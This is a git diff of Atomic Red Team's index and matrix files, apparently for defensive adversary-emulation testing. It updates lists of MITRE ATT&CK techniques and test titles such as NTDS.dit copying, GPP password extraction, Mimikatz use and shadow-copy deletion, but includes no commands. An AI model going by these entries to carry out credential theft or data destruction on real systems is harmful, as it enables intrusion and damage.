A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Ticket](./T1097/T1097.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Remote Desktop Protocol](./T1076/T1076.md) | [Email Collection](./T1114/T1114.md) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Change Default File Association](./T1042/T1042.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hooking](./T1179/T1179.md) | [Password Policy Discovery](./T1201/T1201.md) | [Remote File Copy](./T1105/T1105.md) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [InstallUtil](./T1118/T1118.md) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Input Capture](./T1056/T1056.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Connection Proxy](./T1090/T1090.md) | [Input Prompt](./T1141/T1141.md) | [Permission Groups Discovery](./T1069/T1069.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Screen Capture](./T1113/T1113.md) | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Launchctl](./T1152/T1152.md) | [Create Account](./T1136/T1136.md) | [Hooking](./T1179/T1179.md) | [Control Panel Items](./T1196/T1196.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Local Job Scheduling](./T1168/T1168.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [DCShadow](./T1207/T1207.md) | [Keychain](./T1142/T1142.md) | [Query Registry](./T1012/T1012.md) | Shared Webroot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Mshta](./T1170/T1170.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](./T1160/T1160.md) | [DLL Search Order Hijacking](./T1038/T1038.md) | LLMNR/NBT-NS Poisoning and Relay [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | Taint Shared Content [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [PowerShell](./T1086/T1086.md) | Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [New Service](./T1050/T1050.md) | DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](./T1040/T1040.md) | [Security Software Discovery](./T1063/T1063.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Remote File Copy](./T1105/T1105.md) | +| | [Regsvcs/Regasm](./T1121/T1121.md) | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Deobfuscate/Decode Files or Information](./T1140/T1140.md) | [Password Filter DLL](./T1174/T1174.md) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Standard Application Layer Protocol](./T1071/T1071.md) | +| | [Regsvr32](./T1117/T1117.md) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disabling Security Tools](./T1089/T1089.md) | [Private Keys](./T1145/T1145.md) | [System Information Discovery](./T1082/T1082.md) | [Windows Admin Shares](./T1077/T1077.md) | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Rundll32](./T1085/T1085.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Plist Modification](./T1150/T1150.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Configuration Discovery](./T1016/T1016.md) | [Windows Remote Management](./T1028/T1028.md) | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Scheduled Task](./T1053/T1053.md) | [Hooking](./T1179/T1179.md) | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Network Connections Discovery](./T1049/T1049.md) | | | | [Uncommonly Used Port](./T1065/T1065.md) | +| | [Scripting](./T1064/T1064.md) | [Hypervisor](./T1062/T1062.md) | PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Owner/User Discovery](./T1033/T1033.md) | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | [Service Execution](./T1035/T1035.md) | [Image File Execution Options Injection](./T1183/T1183.md) | [Process Injection](./T1055/T1055.md) | [File Deletion](./T1107/T1107.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Service Discovery](./T1007/T1007.md) | | | | | +| | [Signed Binary Proxy Execution](./T1218/T1218.md) | Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Time Discovery](./T1124/T1124.md) | | | | | +| | [Signed Script Proxy Execution](./T1216/T1216.md) | [Kernel Modules and Extensions](./T1215/T1215.md) | [Scheduled Task](./T1053/T1053.md) | [File and Directory Permissions Modification](./T1222/T1222.md) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | +| | [Source](./T1153/T1153.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Gatekeeper Bypass](./T1144/T1144.md) | | | | | | | +| | [Space after Filename](./T1151/T1151.md) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | [Startup Items](./T1165/T1165.md) | [HISTCONTROL](./T1148/T1148.md) | | | | | | | +| | [Trap](./T1154/T1154.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo](./T1169/T1169.md) | [Hidden Files and Directories](./T1158/T1158.md) | | | | | | | +| | [Trusted Developer Utilities](./T1127/T1127.md) | [Launchctl](./T1152/T1152.md) | [Sudo Caching](./T1206/T1206.md) | [Hidden Users](./T1147/T1147.md) | | | | | | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [Windows Management Instrumentation](./T1047/T1047.md) | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](./T1100/T1100.md) | [Image File Execution Options Injection](./T1183/T1183.md) | | | | | | | +| | [Windows Remote Management](./T1028/T1028.md) | [Logon Scripts](./T1037/T1037.md) | | Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | [XSL Script Processing](./T1220/T1220.md) | [Modify Existing Service](./T1031/T1031.md) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | [Netsh Helper DLL](./T1128/T1128.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | | | | | | | | | [New Service](./T1050/T1050.md) | | [Indirect Command Execution](./T1202/T1202.md) | | | | | | | | | | [Office Application Startup](./T1137/T1137.md) | | [Install Root Certificate](./T1130/T1130.md) | | | | | | | | | | Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [InstallUtil](./T1118/T1118.md) | | | | | | | | | | [Plist Modification](./T1150/T1150.md) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Launchctl](./T1152/T1152.md) | | | | | | | | | | Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Masquerading](./T1036/T1036.md) | | | | | | | -| | | [Rc.common](./T1163/T1163.md) | | [Modify Registry](./T1112/T1112.md) | | | | | | | -| | | [Re-opened Applications](./T1164/T1164.md) | | [Mshta](./T1170/T1170.md) | | | | | | | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | -| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | -| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | +| | | PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Modify Registry](./T1112/T1112.md) | | | | | | | +| | | [Rc.common](./T1163/T1163.md) | | [Mshta](./T1170/T1170.md) | | | | | | | +| | | [Re-opened Applications](./T1164/T1164.md) | | [NTFS File Attributes](./T1096/T1096.md) | | | | | | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Network Share Connection Removal](./T1126/T1126.md) | | | | | | | +| | | [Registry Run Keys / Startup Folder](./T1060/T1060.md) | | [Obfuscated Files or Information](./T1027/T1027.md) | | | | | | | +| | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Scheduled Task](./T1053/T1053.md) | | [Plist Modification](./T1150/T1150.md) | | | | | | | | | | [Screensaver](./T1180/T1180.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Security Support Provider](./T1101/T1101.md) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Setuid and Setgid](./T1166/T1166.md) | | [Process Injection](./T1055/T1055.md) | | | | | | | -| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | -| | | [Startup Items](./T1165/T1165.md) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | -| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Process Injection](./T1055/T1055.md) | | | | | | | +| | | [Setuid and Setgid](./T1166/T1166.md) | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Regsvcs/Regasm](./T1121/T1121.md) | | | | | | | +| | | [Startup Items](./T1165/T1165.md) | | [Regsvr32](./T1117/T1117.md) | | | | | | | +| | | System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | [Systemd Service](./T1501/T1501.md) | | [Rootkit](./T1014/T1014.md) | | | | | | | | | | Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Rundll32](./T1085/T1085.md) | | | | | | | | | | [Trap](./T1154/T1154.md) | | SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | @@ -64,7 +68,9 @@ | | | | | Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [Timestomp](./T1099/T1099.md) | | | | | | | | | | | | [Trusted Developer Utilities](./T1127/T1127.md) | | | | | | | +| | | | | Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | +| | | | | Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | [XSL Script Processing](./T1220/T1220.md) | | | | | | | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 108955e957..cf48e26198 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -23,6 +23,7 @@ - T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: Component Object Model Hijacking [windows] +- [T1090 Connection Proxy](./T1090/T1090.md) - [T1196 Control Panel Items](./T1196/T1196.md) - Atomic Test #1: Control Panel Items [windows] - [T1207 DCShadow](./T1207/T1207.md) @@ -52,7 +53,8 @@ - Atomic Test #10: bcdedit [windows] - Atomic Test #11: wbadmin [windows] - Atomic Test #13: Delete-PrefetchFile [windows] -- [T1222 File Permissions Modification](./T1222/T1222.md) +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) - Atomic Test #1: Take ownership using takeown utility [windows] - Atomic Test #2: Take ownership recursively using takeown utility [windows] - Atomic Test #3: cacls - Grant permission to specified user or group [windows] @@ -60,13 +62,13 @@ - Atomic Test #5: icacls - Grant permission to specified user or group [windows] - Atomic Test #6: icacls - Grant permission to specified user or group recursively [windows] - Atomic Test #7: attrib - Remove read-only attribute [windows] -- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1484 Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #4: Create Windows System File with Attrib [windows] - Atomic Test #5: Create Windows Hidden File with Attrib [windows] - Atomic Test #11: Create ADS command prompt [windows] - Atomic Test #12: Create ADS PowerShell [windows] +- T1143 Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO Global Flags [windows] @@ -101,6 +103,7 @@ - Atomic Test #2: Remove Network Share [windows] - Atomic Test #3: Remove Network Share PowerShell [windows] - [T1027 Obfuscated Files or Information](./T1027/T1027.md) +- T1502 Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1093 Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) @@ -178,8 +181,10 @@ - [T1050 New Service](./T1050/T1050.md) - Atomic Test #1: Service Installation [windows] - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] +- T1502 Parent PID Spoofing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1504 PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] @@ -258,6 +263,7 @@ - Atomic Test #1: DDEAUTO [windows] - T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1504 PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1060 Registry Run Keys / Startup Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] @@ -273,6 +279,7 @@ - Atomic Test #1: Set Arbitrary Binary as Screensaver [windows] - [T1101 Security Support Provider](./T1101/T1101.md) - Atomic Test #1: Modify SSP configuration in registry [windows] +- T1505 Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1023 Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1019 System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -287,6 +294,35 @@ - Atomic Test #2: Winlogon Userinit Key Persistence - PowerShell [windows] - Atomic Test #3: Winlogon Notify Key Logon Persistence - PowerShell [windows] +# impact +- T1531 Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #3: Windows - Disable Windows Recovery Console Repair [windows] + - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) + - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] + - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] + - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] + - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1489 Service Stop](./T1489/T1489.md) + - Atomic Test #1: Windows - Stop service using Service Controller [windows] + - Atomic Test #2: Windows - Stop service using net.exe [windows] + - Atomic Test #3: Windows - Stop service by killing process [windows] +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1529 System Shutdown/Reboot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + # discovery - [T1087 Account Discovery](./T1087/T1087.md) - Atomic Test #8: Enumerate all accounts [windows] @@ -327,6 +363,7 @@ - Atomic Test #1: Security Software Discovery [windows] - Atomic Test #2: Security Software Discovery - powershell [windows] - Atomic Test #4: Security Software Discovery - Sysmon Service [windows] +- T1518 Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1082 System Information Discovery](./T1082/T1082.md) - Atomic Test #1: System Information Discovery [windows] - [T1016 System Network Configuration Discovery](./T1016/T1016.md) @@ -362,6 +399,7 @@ - Atomic Test #10: Copy NTDS.dit from Volume Shadow Copy [windows] - Atomic Test #11: GPP Passwords (findstr) [windows] - Atomic Test #12: GPP Passwords (Get-GPPPassword) [windows] +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](./T1081/T1081.md) - Atomic Test #3: Runs Mimikatz & Mimikittenz by name [windows] - Atomic Test #4: Extracting passwords with findstr [windows] @@ -385,12 +423,14 @@ - Atomic Test #1: Install and Register Password Filter DLL [windows] - [T1145 Private Keys](./T1145/T1145.md) - Atomic Test #1: Private Keys [windows] +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # lateral-movement - T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1175 Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - [T1075 Pass the Hash](./T1075/T1075.md) @@ -468,6 +508,7 @@ - [T1223 Compiled HTML File](./T1223/T1223.md) - Atomic Test #1: Compiled HTML Help Local Payload [windows] - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1175 Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1196 Control Panel Items](./T1196/T1196.md) - Atomic Test #1: Control Panel Items [windows] - [T1173 Dynamic Data Exchange](./T1173/T1173.md) @@ -571,33 +612,6 @@ - Atomic Test #1: Testing usage of uncommonly used port with PowerShell [windows] - T1102 Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -# impact -- [T1485 Data Destruction](./T1485/T1485.md) - - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] - - Atomic Test #2: Windows - Delete Windows Backup Catalog [windows] - - Atomic Test #3: Windows - Disable Windows Recovery Console Repair [windows] - - Atomic Test #4: Windows - Overwrite file with Sysinternals SDelete [windows] -- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1490 Inhibit System Recovery](./T1490/T1490.md) - - Atomic Test #1: Windows - Delete Volume Shadow Copies [windows] - - Atomic Test #2: Windows - Delete Volume Shadow Copies via WMI [windows] - - Atomic Test #3: Windows - Delete Windows Backup Catalog [windows] - - Atomic Test #4: Windows - Disable Windows Recovery Console Repair [windows] -- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1496 Resource Hijacking](./T1496/T1496.md) -- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1489 Service Stop](./T1489/T1489.md) - - Atomic Test #1: Windows - Stop service using Service Controller [windows] - - Atomic Test #2: Windows - Stop service using net.exe [windows] - - Atomic Test #3: Windows - Stop service by killing process [windows] -- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - # initial-access - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index ca42e5108c..b545a8b7c8 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -2,47 +2,50 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Access Token Manipulation](./T1134/T1134.md) | [Access Token Manipulation](./T1134/T1134.md) | [Account Manipulation](./T1098/T1098.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](./T1010/T1010.md) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Account Manipulation](./T1098/T1098.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](./T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](./T1223/T1223.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](./T1009/T1009.md) | [Credential Dumping](./T1003/T1003.md) | [Browser Bookmark Discovery](./T1217/T1217.md) | 